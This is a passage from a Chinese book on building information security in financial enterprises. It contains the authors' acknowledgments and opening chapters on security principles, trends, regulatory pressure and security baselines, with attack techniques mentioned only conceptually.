安全管理领域如内控合规管理、外包安全管理等,对安全团队建设、安全培训、安全考核、安全认证、 安全预算等进行了深入探讨,有助于读者从企业安全建设者的角度了解企业安全的视角和解决问题的思 路。 第二部分“安全技术实战”,主要介绍企业安全建设中的一些安全技术应用实践,包括应用安全、内 网安全、数据安全和业务安全等,对一些防护重点如邮件、活动目录、补丁管理、抗DDoS攻击等进行了 深入探讨,对安全运营、应急响应和安全趋势以及从业者的未来做了一些开放式探讨。这些有助于企业 安全负责人更好地掌握全局,顺势而为。附录中介绍了企业安全技能树等内容,还在持续更新中,有兴 趣的读者可以和我们互动反馈。联系方式如下: 邮箱:[email protected] GitHub:https://github.com/jun1010/secbuild 微信公众号:君哥的体历(jungedetili) 知识星球:金融企业安全建设实践 聂君致谢 感谢我的妻子,在最美丽的时候与我相遇,我的人生才充满了甜蜜快乐和多姿多彩。感谢她在我遭 遇挫折和失败的时候默默支持着我,使我在迷茫和困惑的时候仍然能够鼓起勇气,看清方向。感谢生命 中最可爱的两个宝贝,让我每一天都充满快乐和希望。 感谢我的父母,是他们养育了我。感谢我的父母和岳父岳母,帮忙照顾我的家庭,并一直支持我的 事业,使我最终能有机会写下这些文字。 感谢我任职过的公司,给予我实践的土壤,使我能够有今天的积累。感谢工作中一直给予我帮助和 鼓励的领导、同事和朋友,他们包括但不限于:吴云坤、周天虹、许彦冰、周智坚、高旭磊、贾俊刚、 代留虎、徐恒、张靓、万雪林、何扬军、丁一琼、诸葛建伟、吴翰清、杨勇(Coolc)@腾讯、赵彦@美 团、董志强(killer)@腾讯、方小顿(剑心)、韦韬(Lenx)@百度、胡珀(Lakehu)@腾讯、吴树鹏@ 火币网、王宇@蚂蚁金服、赵弼政(职业欠钱)@美团、方勇@腾讯、李吉慧@民生银行、余弦@慢雾、 刘焱(兜哥)@百度、郭亮@数字观星、顾孔希@滴滴、方兴@全知科技、Feei(止介)@美丽联合、 shutgun@启明、薛锋@微步在线、陈纯。 感谢许彦冰女士为本书作序,她是我非常敬佩的一位领导和学习楷模。 感谢吴怡编辑以及机械工业出版社的编辑、排版、设计等人员,他们非常专业和敬业。 最后感谢成长道路上给予我帮助的每一位朋友,感恩。 李燕致谢 在商业银行从事了多年的信息安全管理工作,几乎每天都在跟各种各样的报告打交道,监管报告、 风险评估报告、安全检查报告、定期工作汇报……已经数不清楚写了多少份报告,感觉每天的工作,不 是在写报告,就是在为了写报告而准备素材。但是在很多个失眠的夜晚,我不禁暗自思考:做了这么多 项具体的工作,写了这么多份具体的报告,最终能留下的,到底还剩什么?报告本身已经完成了它短暂 的使命,工作本身已经实现了它当时的价值。但是除了每天埋头完成这些来自各种不同渠道的任务以 外,我可以给后面从事同类工作的小伙伴们留下些什么,能够积累、沉淀、传承些什么?一个人的力量 是有限的,能直接管理和培养的团队也是有限的,如果能将个人的经历变成可以复制的经验,对于未来 团队的培养,对于金融行业的信息安全工作,也许都可以是一个小小的贡献。 作为建立起两个商业银行信息安全团队的人,我深深了解信息安全人员的辛苦忙碌和酸甜苦辣,深 深体会到信息安全人员的远大抱负和对现实的无奈,深深感动于信息安全人员的顽强坚守和价值追求。 特别是金融行业,信息安全工作要求极高,信息安全人员压力极大,他们凭着极度的责任感和敬业精 神,捍卫着金融企业科技的合规发展,保护着客户的资金和信息不被侵犯。我一直希望自己能做些什 么,可以帮助后来的伙伴们拓展一些思路,少走一些弯路,加快一点步伐。把自己想过的、做过的、错 过的,都分享出来,也许是个办法。 然而,事非经过不知难。信息安全永远没有最佳答案,只能动态平衡、不断调整。适合自己的就是 最好的,但要找到适合的那个平衡点却是最难的。我们的书也给不出标准答案,只能给出一种思维、一 套逻辑、一类方法和一些启迪,能保证的只是每一个字都来源于实际工作,都可以落地。如果本书能引 起一些讨论,能像石头激起一些水花,或者能引发更多金融行业的同行们也将经验拿出来分享,那这件 事情的意义就远远超出了文字本身;如果我们的分享和总结,能带给读者们一点点启发和改变,我们的 方法和工具能在企业中有一点点的应用和推广,那么我们的工夫就没有白费。 春节、清明、五一、端午、周末,已经记不清多少个假日在闭门码字,也记不清多少个晚上11:00 以后在挑灯奋战。今天回首,很庆幸能够坚持不懈,很庆幸没有半途而废。工作是修行,写书是修行, 人生是修行。修行,永远在路上。 感谢全力支持我的家人,这么多个不能陪伴你们的日日夜夜,你们仍鼎力支持,毫无怨言;感谢聂 君,对我们运筹帷幄、严控进度,自己则信手拈来、才思泉涌;感谢何扬军,虽至今未曾谋面,但字里 行间体现出的专业、自信,跃然纸上。以文会友,不亦快哉! 聂君说,等书出版以后,我们几个要好好庆祝一下。我说,额手相庆,不醉无归。不出书本身,而 是为努力的自己,为自律的自己,为更好的自己。我们等这一天,等很久了,幸好,它来了。 何扬军致谢 某日在朋友圈忍不住吐槽一本翻译过来的书,有个朋友在下面回复问我啥时候也出一本书。当时没 有多想,一来平时工作确实忙,二来过往从事了很多具体的技术工作,杂乱且不方便透露细节。 或许是深埋心底的文艺情结作怪,当2017年年底好友聂君说想合作写一本书时,我有点小兴奋并马 上就答应了。心想凭着这些年工作经验积累以及曾经发表在外部或在内部分享的文章应该问题不大,实 际上写起来却发现自己还是把事情想简单了。 安全领域所涉及的面非常广,每个点深究下去又是一个专业领域。为了对得起自己也对得起读者, 在接下来的半年时间里,我的身心状态总是在工作和写书之间进行切换,很多个晚上、几乎每个周末都 在公司加班码字,好多个深夜保安来关灯了才发现整层楼只有我还在公司。有些技术虽然基本原理大家 都懂,但真正要讲清楚来龙去脉还要查阅大量资料,有一些技术细节还需要反复在实验环境中测试确 认,确保不犯错。所以进度也是相对较慢。好在最终坚持了下来,感谢聂君、李燕的鼓励,感谢公司领 导和同事的支持,更感谢家人背后默默的付出。在写书过程中,还参考了不少网络资料,并与一些同 事、朋友进行了讨论,在此一并表示感谢,他们是(排名不分先后):徐恒、李旬保、万雪林、黄炜 程、王先伟、伍盛、魏强、王俊麟、许世杰、梁泉、李志强、万京平@神华信息、谭德飞@平安科技、黄 启高@微软、顾孔希@滴滴出行、俞婷@中兴通讯、钱文斌@网联、唐勤@广发证券、廖位明@连连支 付。 初次写书,由于能力和精力所限,难免有错漏之处,恳请大家指出其中的错误与不足之处,谢谢! 第一部分 安全架构 第1章 企业信息安全建设简介 第2章 金融行业的信息安全 第3章 安全规划 第4章 内控合规管理 第5章 安全团队建设 第6章 安全培训 第7章 外包安全管理 第8章 安全考核 第9章 安全认证 第10章 安全预算、总结与汇报 第1章 企业信息安全建设简介 企业信息安全越来越受到关注,但企业信息安全的本质和原则是什么?该怎么做?趋势如何?我们 从更接近实战的角度进行探讨。 1.1 安全的本质 在企业做信息安全会遇到很多困惑,企业信息安全到底应该怎么做?管理、技术、流程和人员哪个 更重要?安全团队和安全人才该怎么建设、培养和激励?笔者带着这些问题。 与各种安全圈内各种安全人士交流过,笔者发现长期以来一直困扰的问题与信息安全的本质有关, 或者说,需要了解信息安全问题的本质是什么? 互联网本来是安全的,自从有了“研究安全”的人,就变得不安全了。比如SQL注入攻击,自从1999年 首次出现后就成为互联网应用安全的头号大敌,SQL注入攻击的本质是把用户输入的数据当作代码执 行,而开发人员设计用户输入的功能时,本意只是提供一个用户交互功能,根据用户的输入返回动态页 面结果,以便提供更好的用户体验。这个好的出发点,很不幸被恶意的人滥用了。再比如,钓鱼网站目 前已成为很多金融企业的首要安全威胁,而在2011年以前,很多金融企业的安全人员甚至都没有考虑过 这个问题。时至今日,他们仍会觉得很无辜,因为企业的网站并没有任何安全漏洞,是钓鱼网站的“狡 猾”和用户的“傻”,才让攻击者有机可乘。 上面两个例子中,开发人员信任用户输入,用户信任钓鱼网站,从而导致信息安全问题。所以说, 信息安全问题的本质是“信任”。计算机用0和1定义整个世界,而企业的信息安全目标是解决0和1之间的 广大灰度数据,运用各种措施,将灰度数据识别为0(不值得信任)或1(值得信任)。信任是信息安全 问题的本源。比如,某些普通企业设计信息安全方案时,会假设安全人员、开发人员、运维人员是默认 被信任的;比普通企业安全要求更高的金融企业、国家机构等设计信息安全方案时,安全人员、开发人 员、运维人员可能就是默认不被信任的。不同的信任假设决定了安全方案的复杂程度和实施成本,安全 需要找到某个自己可以接受的“信任点”,并在这个点上取得成本和效益的平衡。 1.2 安全原则 对于信息安全工作目标和实现方案,每个企业可以根据自己的实际情况做出选择,可谓各有千秋, 但有些普适性的基本原则是相通的。概括而言,信息安全原则主要有三点:持续改进、纵深防御和非对 称。 1.持续改进 有没有办法确保一台服务器不被不明武装分子攻陷?有没有一个类似“照妖镜”的工具,一旦安装上 就可以高枕无忧,让恶意的攻击者无所遁形?有没有一个万能的“上帝之手”,帮我们干掉所有安全问 题?很遗憾,以上“神器”都不存在。 在解决安全问题的过程中,不可能一劳永逸。很多安全厂商在推销自己的安全产品时,吹得天花乱 坠,似乎无所不能,从早期的防火墙、防病毒、入侵检测,到现在的态势感知、威胁情报、智能分析, 安全防御技术本身并没有革命性的变化。一套入侵检测技术包装个名词,就能摇身一变从IDS到IPS、 SIEM,再到现在的威胁情报,但本质上,都还是开发检测规则,进行异常模式识别。安全产品、安全技 术不能光靠名词的改变来实现转型升级,而是需要不断地随着攻击手段的发展而升级,也需要有人来运 营,否则安全就是稻草人,在变化的攻击手段前不堪一击。 因此,持续改进,PDCA(plan,do,check,act)循环,螺旋式上升,是信息安全的第一个原则。 2.纵深防御 在典型的入侵案例场景中,攻击者利用Web应用漏洞,获得低权限WebShell,然后通过低权限的 WebShell上传更多文件,并尝试执行更高权限的系统命令,进一步在服务器上提权,再横向渗透,获得 更多内网权限。在这个典型的攻击路径中,如果在任何一个环节设置有效的安全检测和防御措施,攻击 都可能被检测和阻止。 因此,在安全防护技术没有革命性发展的当下,企业必须坚持纵深防御原则,从网络层、虚拟层、 系统层、应用层,到数据层、用户层、业务层、总控层,进行层层防御,共同组成整个防御体系。这是 信息安全的第二个原则。 3.非对称 对于攻击者来说,只要能够找到企业系统的一个弱点,就可以达到入侵系统的目的,而对于企业信 息安全人员来说,必须找到系统的所有弱点,不能有遗漏,不能有滞后,才能保证系统不会出现问题。 这种非对称性导致攻击者和安全人员的思维方式不同,也是企业信息安全工作难做的根本原因,因为破 坏比建设要容易。战争中发明的各种反舰、巡航导弹、潜艇属于非对称作战武器。 该怎么扭转这种劣势呢?答案就是,安全防护人员也需要非对称思维。 那么,在信息安全领域,应该发展哪些非对称的安全防护“武器”呢?在这种情境下,各种“蜜”的产品 应运而生了,蜜网站、蜜域名、蜜数据库、蜜表、蜜字段、蜜数据、蜜文件……如果企业在面对攻击时 进行安全反制,恶意攻击者就很难全身而退。据我所知,很多企业已经进行了商业化大规模部署,并在 实际对抗中取得不错的效果,这应该是未来安全防护发展的一个有益方向。 认识到非对称,并找到解决非对称问题的方法,这是信息安全的第三个原则。 1.3 安全世界观 对于信息安全人员来说,最重要的是建立“安全世界观”,即解决安全问题的思路,以及看待安全问 题的角度和高度,而不是具体掌握了多少漏洞,拿下了多少权限,或者发现了多少风险。不同的企业、 不同的安全人员,一定会有不同的安全世界观。笔者的安全世界观是:信息安全就是博弈和对抗,是一 场人与人之间的战争。交战双方所争夺的是对信息资产的控制权,谁能够在博弈和对抗中牢牢地把控住 各类信息资产的控制权,谁就取得了胜利。 1.4 正确处理几个关系 企业信息安全建设过程中,需要正确处理以下几种关系: ·科学与技术 ·管理与技术 ·业务与安全 ·甲方和乙方 1.科学与技术 科学讲究严谨,艺术讲究美感。安全既是一门科学,也是一门艺术。 安全的科学性,体现在无论是安全体系还是具体安全措施,其落地都是严谨和严肃的。在企业安全 建设中,有的开发和运维同事觉得在内网就安全了,已经拒敌于门外了,从而放松了安全要求,但实际 中攻击者通过一些边缘攻击进入内网,从而进一步渗透入内部服务器的案例比比皆是。因此必须全面、 整体、综合性地考虑安全,并且认真、踏实、谨慎地落地实施。 安全的艺术性,体现在安全工作的权变,不是所有情况都适用同样的安全要求,需要不断地权衡利 弊,选择当前情况下的最优。比如,服务器安全基线根据所处安全域的不同有不同的基线标准,漏洞跟 踪处理时,安全部门通过补偿措施降低风险,从而允许一些业务系统带病上线,这都是权变的体现。 2.管理与技术 安全管理与安全技术孰轻孰重?有的企业拼命搞ISO27001安全体系,发布各种安全制度政策,实施 各种安全流程控制,做各种安全审计和检查,搞得民怨沸腾,往往效果也不好。从事漏洞挖掘和攻防的 人会觉得搞安全管理的人太虚,这也不会,那也不会,每天就是搞体系制度流程,能挡住我一个0day 吗?会挖洞和写PoC吗?反过来,安全管理的人会觉得漏洞挖掘和攻防都是具体的工作,没有良好的组织 架构、制度流程、意识培训等安全治理体系,“人”这个最重要的要素,可能会让所有的安全技术防范措 施形同虚设,甚至毁于一旦。 其实,安全管理和安全技术更像是灯芯与灯油的关系,谁也离不开谁。管理和技术,必须“两手抓、 两手都要硬”。 首先,从安全管理的角度看,安全政策和流程如果没有技术和自动化手段保障,无法有效落地,而 脱离安全技术的安全政策和流程也有可能失效,例如,管理10台和10 000台服务器,用同样的安全政策和 流程肯定是行不通的。 其次,从安全技术的角度看,没有管理的辅助,可能会变成“为了技术而技术”的“自嗨”,例如,在企 业安全建设中,困难不在技术上,至少技术不是最重要的点,而是需要不断地去说服并影响开发运维和 业务部门的同事,如果技术人员能跳出技术思维,站在更高层面去思考安全问题解决方案,安全人员的 境界就提高了好几层。 3.业务与安全 这个话题非常有意思。刚工作时,我认为安全是为业务服务的,但安全会一定程度地阻碍业务发 展。随着认识加深,我的认知发生了一些变化—安全是为业务服务的,安全更是业务的属性之一,不安 全或没有安全考虑的业务就像不合格的产品一样,终究是要被市场淘汰的。 本质上,安全是一项服务,安全服务是安全团队提供给用户和客户的一种服务类别。如果在设计安 全方案和安全要求时没有最大化这种服务的价值,那么在充分竞争的情况下,安全团队也是要被市场淘 汰的。我经常问自己和团队,如果公司不是只有我们一支安全团队,我们安全团队在公司范围内不是垄 断的,而是其他安全团队也提供安全服务,在共同竞争的情况下,我们提供的安全服务还能被用户认可 买单吗?只要答案为“否”,就说明安全团队还有提升的空间。 传统观念认为,安全总是这也不能做、那也要控制,安全就是拖业务的后腿,安全总是降低业务发 展效率,在企业中安全往往也被做成了这个样子。造成这种现状,企业安全主管首先要反思。这是因为 安全团队设计安全方案和要求时,不是以业务和服务为出发点,而是以安全团队省时省事、尽量少承担 责任为出发点。后者设计出的安全方案当然是阻碍业务发展、降低效率。但如果一套安全方案和要求, 能够在降低甚至不降低业务发展的情况下还能保障安全,业务团队和开发运维当然是欢迎的,毕竟谁都 不愿意冒着巨大的风险强行上线新的业务。 如果安全团队能和业务、开发运维一起剖析,站在对方立场设计方案和执行要求,用户从心里一定 是会认可安全团队和安全服务的。很多企业的实践证明,坚持安全服务的做法,会让安全团队之路走得 更为顺畅。 4.甲方与乙方 乙方是指给企业(甲方)提供安全产品和服务的一方,包括安全产品原厂、代理商、集成商和外包 公司等。甲方和乙方的关系也可理解为灯芯和灯油的关系,谁离开谁都会失败。有好的灯芯和灯油,也 会有差的灯芯和灯油,关键在于各守本分,各尽其责。 企业中较为常见的场景是,乙方老板说,贵公司是我们的大客户,我们一定会服务好。乙方销售则 在旁边配合,我们的产品和服务是最好的,用我们的绝对不会有问题。但一旦甲方稍微追问一句,贵公 司打算怎么服务好我们?你们的产品和服务相比竞争对手好在哪里?你们了解我们的实际问题和需求 吗?基本上90%的乙方就接不上话了。更有甚者,个别老板和销售的回答令人啼笑皆非,我们的产品和服 务就是最好的,不用你们会后悔的。有风度的甲方此时往往还需要心情平静地答复,你们的产品和服务 我都了解了,挺不错的,希望有机会合作。但内心简直是崩溃的。 另一方面,也听到较多的乙方抱怨甲方,主管啥也不懂,就知道不能出事,出事背锅;安全人员啥 也不会,只知道指挥我们干活,把我们工程师不当人用。乙方眼里90%的甲方都是这个印象。 笔者无意为任何一方辩护,包括作为甲方的自己。因为甲乙双方都是站在自己的立场处理问题,无 可厚非。但甲方和乙方都需要检讨: 甲方,应该对自己承担的职责负责,不管用什么方法,结果是必须搞定安全问题,但要能识别什么 是能搞定的方案,以及哪些是方案中靠谱一员的乙方。和乙方的关系挺简单,如果乙方能为甲方创造安 全价值,那给乙方匹配等量的安全回报,继续长期合作;否则对不起,多听一秒都是浪费生命。 乙方,应该是对自己的承诺负责,要了解你的客户,不是签单成功就万事大吉。合同落地才是刚刚 开始,在甲方的辨识能力和社会口碑传播效应越来越强的今天,做一锤子买卖只能让自己的路越走越 窄。谁都不傻,不是吗? 1.5 安全趋势 未来已来,如果只着眼于当下的安全,很可能疲于奔命,被超越或抛弃。因此,必须看到安全的趋 势方能提早布局,确保立于不败之地。 1.安全度量 安全度量是指如何衡量企业安全的效果。做安全的人遇到的最大挑战就是讲不清楚安全的价值。安 全这个东西很微妙,不像业务可以用销售额和用户数来衡量,也不像运维可以用可用性指标(比如故障 数)来衡量,也不像研发可以用bug数、项目完成率、扩展性、专利等来衡量。安全往往是事件性的,很 可能你什么都不做,但一年都不出问题;也可能你花了很大力气,花了很多钱,却还是问题频出。所以 我们很难用单一的事件性指标来衡量数据安全做得好还是不好。 企业做安全,最终还是要对结果负责,对于安全效果,有两个最关键的核心指标:一个是漏洞数, 一个是安全事件数。这两个关键安全指标,却没有一个安全厂商愿意承诺,他们通常都只愿意承诺卖出 设备的功能效果,或者服务的响应时间。由于漏洞数涉及企业发现能力,每年第三方漏洞报告平台(如 补天或CNCERT)上,漏洞数量排前十的大多是互联网公司,但不能因此认为互联网公司安全能力靠 后,相反,由于互联网公司面临安全威胁且自身发现能力(各种SRC虽然是白帽提交的安全漏洞,但可 以理解为自身发现能力提高导致)较强,所以发现的漏洞数量靠前。很多没有爆出安全漏洞的企业不是 因为做得有多好,而是自身发现能力不够。 在这种情况下,有必要把漏洞数分成两类:一类是通过众测与SRC获得的外部上报漏洞数量,一类 是通过自身安全防护和检测发现的安全漏洞数量。某些金融机构已引入专业的蓝军团队进行攻防,检测 红军安全防护和安全检测能力,将是未来安全度量的发展趋势。 安全事件数的情况和漏洞数大体相同,不同点是,安全事件数没有第三方报告平台,数据主要来自 于监管通报等被动暴露以及主动发现,数据统计要更难一些。 2.历史问题免疫 运维管理目前事实上的标准是ISO20000服务管理体系,这套体系也称为ITIL运维流程管理,ITIL众 多流程中有个核心流程—问题管理。问题管理有个有意思的做法,通过问题管理的思维模式,对企业所 有曾经出现过的历史故障进行举一反三的持续改进,从而实现对历史故障免疫。 既然安全性要当作可用性来运维,那么安全管理也应该能做到对历史问题免疫,而这也应该成为安 全未来趋势之一。笔者理解历史问题免疫有两个含义:一是对企业曾经出过的安全漏洞和安全事件做举 一反三的彻底整改,从人、技术、流程、资源四个维度分析问题产生根源,查找差距,并建立机制进行 防护,从而根本上解决已出现的安全问题,实现历史安全问题免疫。二是对已部署的安全措施的有效性 做100%确认,比如已经部署了防病毒客户端,那么就一定要关注防病毒客户端安装率、正常率两个指 标,这两个指标能做到99.99%的应该算执行力和安全有效性不错的企业了。类似的指标也同样应该在已 部署的安全措施中得到确认。严格来说,历史问题免疫这一点其实不能算安全趋势,而应该是常识,在 各种安全概念层出不穷的今天,希望越来越多的甲乙方能回归常识。 3.安全成为属性 越来越多的企业重视信息安全,这种重视可能是主动的,但仍然被动居多。不管怎样,今天的安全 人员面对的安全环境越来越恶化,但得到的资源和支持却比任何时候都多,这一点体现在:安全将成为 各类系统甚至人才的关键属性之一。举个例子,十年前,很少看到系统需求阶段就会有安全需求,测试 阶段有安全测试,开发人员需要接受专业的安全编码开发规范培训。十年后,这些都很常见了,甚至是 标配(默认)。对安全知识和技能的掌握也从单纯安全人员必备变成了开发人员的必备技能,实际上, 安全意识和安全开发能力较强的开发人员,薪酬水平和发展空间已高于技能单一的程序员。程序员在用 代码改变世界的同时,也有义务更好地保护世界。安全将成为越来越多的需求品,成为非专业安全人员 的一种标配属性,这将是安全发展趋势之一。 4.安全人才缺口增大 安全人才缺口越来越大,想必各企业的安全主管或者CSO都深有体会。甚至越来越多的甲方企业, 会要求乙方建立专门服务于本企业的专业安全队伍。从市场经济的角度看,需求增大,必将导致更多的 优秀人才投身于安全行业,这对原有安全人员也必将是个挑战。安全行业是典型“活到老、学到老”的行 业,逆水行舟,不进则退,各位安全人士一定感同身受。 1.6 小结 本章从宏观角度对安全的本质、安全原则、安全世界观和安全趋势进行了探讨,指明了做好安全工 作的大方向。 第2章 金融行业的信息安全 金融行业是强监管的行业,是涉及业务敏感数据极多的行业,是高度依赖信息化的行业,也是信息 安全风险形势极为严峻的行业。因此,金融行业的信息安全工作有着不同于其他行业的显著特点。 2.1 金融行业信息安全态势 金融机构最初的信息安全工作,大都是以达成金融行业的监管要求作为主要和基础的目标,如银行 业信息科技部门会围绕《商业银行信息科技风险管理指引》来构建安全组织架构,形成安全管理制度和 流程,建立安全检查、风险评估和整改机制,这时候的信息安全从业人员大多处于“管理流派”。2010年 前后说起信息安全,业内人士开口闭口就是防病毒、“IPS/IDS”“WAF”“DLP”等,“设备流派”占据主流; 而最近几年说到信息安全,不说些安全态势感知、安全大数据分析、人工智能等概念,就明显落伍 了,“数据流派”俨然引领潮流。 但是,不管是“管理流派”“设备流派”还是“数据流派”,金融行业的信息安全人员都清醒地知道,监管 要求越来越严格,信息安全形势越来越严峻,攻击技术手段越来越进化。金融企业需要清楚分析面临的 监管要求、外部形势和内部需求,然后针对性地制订安全战略规划、安全管理和技术架构,进而在安全 管理和安全技术方面落地实施,方可立于不败之地。 1.金融行业信息科技监管趋势 金融行业业务已经高度信息化、自动化、流程化,向客户提供的所有服务和日常运营基本都依赖信 息系统开展。金融行业信息科技从业者们很明显的一点感受就是,无论内外部审计还是监管检查,无论 检查重点是针对哪一类的金融业务,信息科技都是配合部门之一。另一方面,金融行业的业务战略都需 要信息科技战略的支撑,业务目标最后都可能转化为对信息科技工作的需求。 金融行业信息科技风险具有影响范围广、破坏性大、突发性强、资金损失风险高等特点,信息科技 风险作为唯一可能导致全部金融业务瞬间瘫痪的风险,一直是金融行业监管的重点和难点。因此,金融 行业的监管部门逐年加大了信息科技风险监管的力度。针对银行业金融机构,2009年中国银监会印发 《商业银行信息科技风险管理指引》,奠定了银行业信息科技风险监管的基础,此后几年陆续印发《商 业银行数据中心监管指引》《商业银行业务连续性监管指引》《银行业金融机构信息科技外包风险监管 指引》等各领域的监管制度;针对证券、期货等行业,陆续出台《证券期货业信息安全保障管理办法》 《证券公司信息技术管理规范》《证券期货业信息系统运维管理规范》等监管要求;针对其他金融行 业,也或多或少有专门针对信息科技的监管要求。 从各类监管要求来看,信息科技监管有这样几个趋势: ·监管机构越来越重视信息科技治理,强调和重视董事会、监事会和高管层的履职情况。秉承“实质重 于形式”的原则,董、监、高的履职已经不能仅限于参与几次会议、做出几项决策,而是要看信息安全风 险控制的实际效果。如果信息科技管理工作或信息科技风险管理有重大缺失,就是履职不力的表现。 ·监管重点从“管理为主”往“管理和技术并举”方向发展,或是要求“人防补技防”,或是要求“技防补人 防”,总之“两手抓、两手都要硬”。监管的现场检查、风险提示等,都已经从组织架构、制度建设、流程 机制等管理层面,延展到业务流程设计、企业技术架构、系统逻辑设计等具体和实质的技术控制和实现 层面。 ·对于信息科技部门职责的规定和约束,逐渐精细化、具体化、层次化,信息科技风险防控要求涵盖 信息科技工作的方方面面。 ·信息科技风险管控不仅是信息科技部门的责任,还要求全行风险管理部门、内控合规部门、稽核审 计部门都参与其中,各司其职,存在制约、促进的关系。 ·信息科技风险管控与业务密不可分,业务逻辑风险控制、业务需求匹配度和业务功能满足度、业务 效益后评价、业务外包中的信息科技活动等,都延伸至业务部门。 ·信息安全意识培训和教育,要求针对全员开展,提升全员意识,突破了信息科技人员的范畴。 ·监管手段逐渐向技术化发展。除了在监管指引上逐步完善之外,非现场监管数据化、现场检查工具 化的趋势较为明显,监管科技的发展已经从初露端倪到如火如荼。 2.金融行业面临的外部信息安全态势 由于金融行业的服务几乎与每个人日常工作和生活息息相关,处理的业务关乎每个人的钱袋子,服 务结果又要求必须实时和高度准确,因此,面临的外部信息安全态势也是在各行各业中最为复杂和严峻 的。以下主要分析金融企业几个重要的利益相关者:客户、合作机构以及外部攻击者的信息安全态势。 (1)客户方面 随着移动互联网的发展和金融科技的演化,金融企业的客户越来越少地接触实体门店,取而代之的 是电子渠道,客户更多以互联网作为触点来使用金融企业的服务。 但是客户在享受互联网便利性的同时,也承担着互联网带来的风险,因此近年来由于客户信息安全 意识不强导致的金融行业风险事件屡见不鲜,例如,由于客户受到不良诱导、客户对银行卡等介质保管 不善、客户自身信息泄漏、客户口令设置脆弱(如弱口令、不同场景单一口令等)等导致的风险事件, 各种各样的电信诈骗事件、钓鱼网站事件也持续不断地出现。客户信息安全意识教育成为金融行业亟待 深化开展的重点工作。 (2)外部合作商方面 金融行业的服务提供需要大量的外部合作商,既包括业务合作方,也包括外包供应商。合作商的信 息安全管理不善、员工主动泄密等,对金融行业的信息安全也形成一定的威胁。2015年电视台曝光了某 金融机构客户信息泄露导致资金损失的事件,事后内部调查发现,原因是负责卡片寄送的合作机构员工 有心收集并贩卖客户信息。外部合作商虽然引入了一定的信息安全威胁,但不能因噎废食,需要通过合 作协议约束、信息交换最小化限制、技术防范等方式,尽可能降低合作的风险。 (3)攻击者方面 伴随着金融业务全球化、移动互联网和金融科技的发展,虎视眈眈的攻击者们也在随之转换方法和 重点,对金融机构的攻击数量和质量持续提高。 从近年来发生的大型攻击事件看,攻击既针对金融企业的基础设施和员工,也针对其外包商或客 户;既针对ATM、SWIFT、电子银行等传统系统,也针对社交媒体、区块链、云计算等新兴技术;既针 对金融行业的服务器,也针对终端设备。概括来说,攻击重点与时俱进,攻击手段变化多端,攻击目标 无孔不入,给金融行业信息安全带来了巨大的威胁和挑战。“打铁还需自身硬”,金融企业本身就是具有 经营风险的企业,外部攻击是必须面对和解决的问题,强身健体、见招拆招,方为正道。 3.金融行业内在的信息安全管理需求 在监管要求日益提高、外部安全态势日益复杂的情况下,金融企业基于自身的业务发展和安全需 要,也会提出大量的信息安全管理要求。 金融行业的信息安全管理有着不同于其他行业的特点,最主要的几个特点如下: ·金融行业整体信息化程度高,而且未来趋势是进一步的数字化、智能化,这就意味着被攻击的风险 点增多,薄弱环节增加,脆弱性增大,遭受攻击的可能性上升。 ·金融服务实时性和准确性要求高,对于信息安全问题的容忍度低,出现问题后社会影响大,舆论压 力大。 ·金融行业直接处理对象为资金,敏感信息价值高,对于攻击者来说获利性大,铤而走险的动机强 烈。 ·金融行业积极应用新技术,但信息安全防控往往滞后于新技术应用,导致面临的新风险无法得到及 时有效的控制。 因此,金融企业的信息安全工作要求也会高于其他行业,在深度和广度上都必须兼顾,需要从组织 架构、制度流程、团队能力、安全意识、外包管理、安全技术等各方面,统筹做好规划和落地实施,方 可满足自身的需要。 2.2 金融行业信息安全目标 正如“一千个人心中有一千个哈姆雷特”,金融行业的信息安全从业人员,对于金融企业信息安全工 作目标的理解也都是不尽相同的。因为金融企业的信息安全工作是保障性工作,是为金融企业的战略、 业务、科技开发和运维等工作服务的,所以信息安全目标也与本企业上述工作的目标和定位高度相关。 但是,对于所有金融企业来说,必须建立和保证信息安全的核心目标和安全基线,在此基础上,可 以根据金融企业的战略方向、风险偏好、管理要求进行量体裁衣,做出选择和调整。 1.确立信息安全的核心目标 从务虚的角度来说,金融企业信息安全工作的核心目标是,通过信息安全建设和管理,有效控制和 防范信息安全风险,提高信息安全保障能力和水平,确保金融企业及客户的信息及资金安全。从务实的 角度来说,金融企业信息安全工作的核心目标是两个“两手抓”:一是“一手抓安全合规,一手抓风险控 制”;二是“一手抓安全管理,一手抓安全技术”。 2.明确信息安全基线 要实现金融企业信息安全工作的核心目标,从具体操作层面上来说,必须明确信息安全工作的范 围,在信息安全工作的各个领域建立信息安全工作基线,同时采取措施确保安全基线的达成。 所谓信息安全基线,就是信息系统最基本要满足的安全要求,是最小限度的安全保证。安全基线主 要分为安全管理基线和安全技术基线。 安全管理基线主要包括安全组织、安全制度、人力资源安全等: ·安全组织方面包括确定金融企业的安全组织架构(决策层、管理层和执行层,以及合规、风险、审 计等机构)、汇报路线、职责分工、日常工作机制等。 ·安全制度方面包括确定制度的体系框架和制度层级等,制度必须完整覆盖信息科技工作的全生命周 期和科技管理等保障工作,制度必须与法律法规、行业标准和监管要求等保持一致,制度之间必须满 足“MECE(相互独立、完全穷尽)”法则等。 ·人力资源安全方面包括在人员任用前、中、后的基本安全管理要求,例如,任用前的筛选、背景调 查、安全职责确定和岗前培训等,任用中的各项权限分配、安全检查和奖罚制度等,以及任用终止前的 权限冻结或取消等。 安全技术基线主要包括机房、网络、系统、应用、终端、数据的安全: ·机房安全基线主要规定机房物理选址、基础设施相关设备、风火水电、环境监控、访问控制等方面 的基本要求。 ·网络安全基线主要规定网络结构安全、边界安全、网络设备安全、入侵防范、访问控制、安全审计 等方面的基本要求。 ·系统安全基线主要规定系统配置、服务安全、操作系统访问权限、协议管理、系统日志审计等方面 的基本要求。 ·应用安全基线主要规定身份鉴别、抗抵赖性、资源控制、应用系统访问控制、应用日志审计等方面 的基本要求。 ·终端安全基线主要规定设备管理、软件管理、用户管理、终端网络隔离、自助终端管理等方面的基 本要求。 ·数据安全基线主要规定数据保密性、数据完整性、数据可用性、数据访问安全、数据备份和恢复等 方面的基本要求。 2.3 信息安全与业务的关系:矛盾与共赢 金融行业的信息安全与业务的关系,在某些时候可能是最能融合的,因为金融业务必须重视风险, 否则业务成果可能付之一炬;但某些时候又可能是矛盾最大的,因为信息安全对业务必定会有一定的影 响和制衡。所以,简单说,信息安全与业务是矛盾、是一致还是共赢?可能都不恰当,准确说,应该尽 可能化解矛盾,取得最大公约数的一致,最终才能实现共赢。 1.信息安全与业务的矛盾性 信息安全与业务的矛盾,多数体现在业务流程的设计方面。业务部门是必须考虑客户体验的,因此 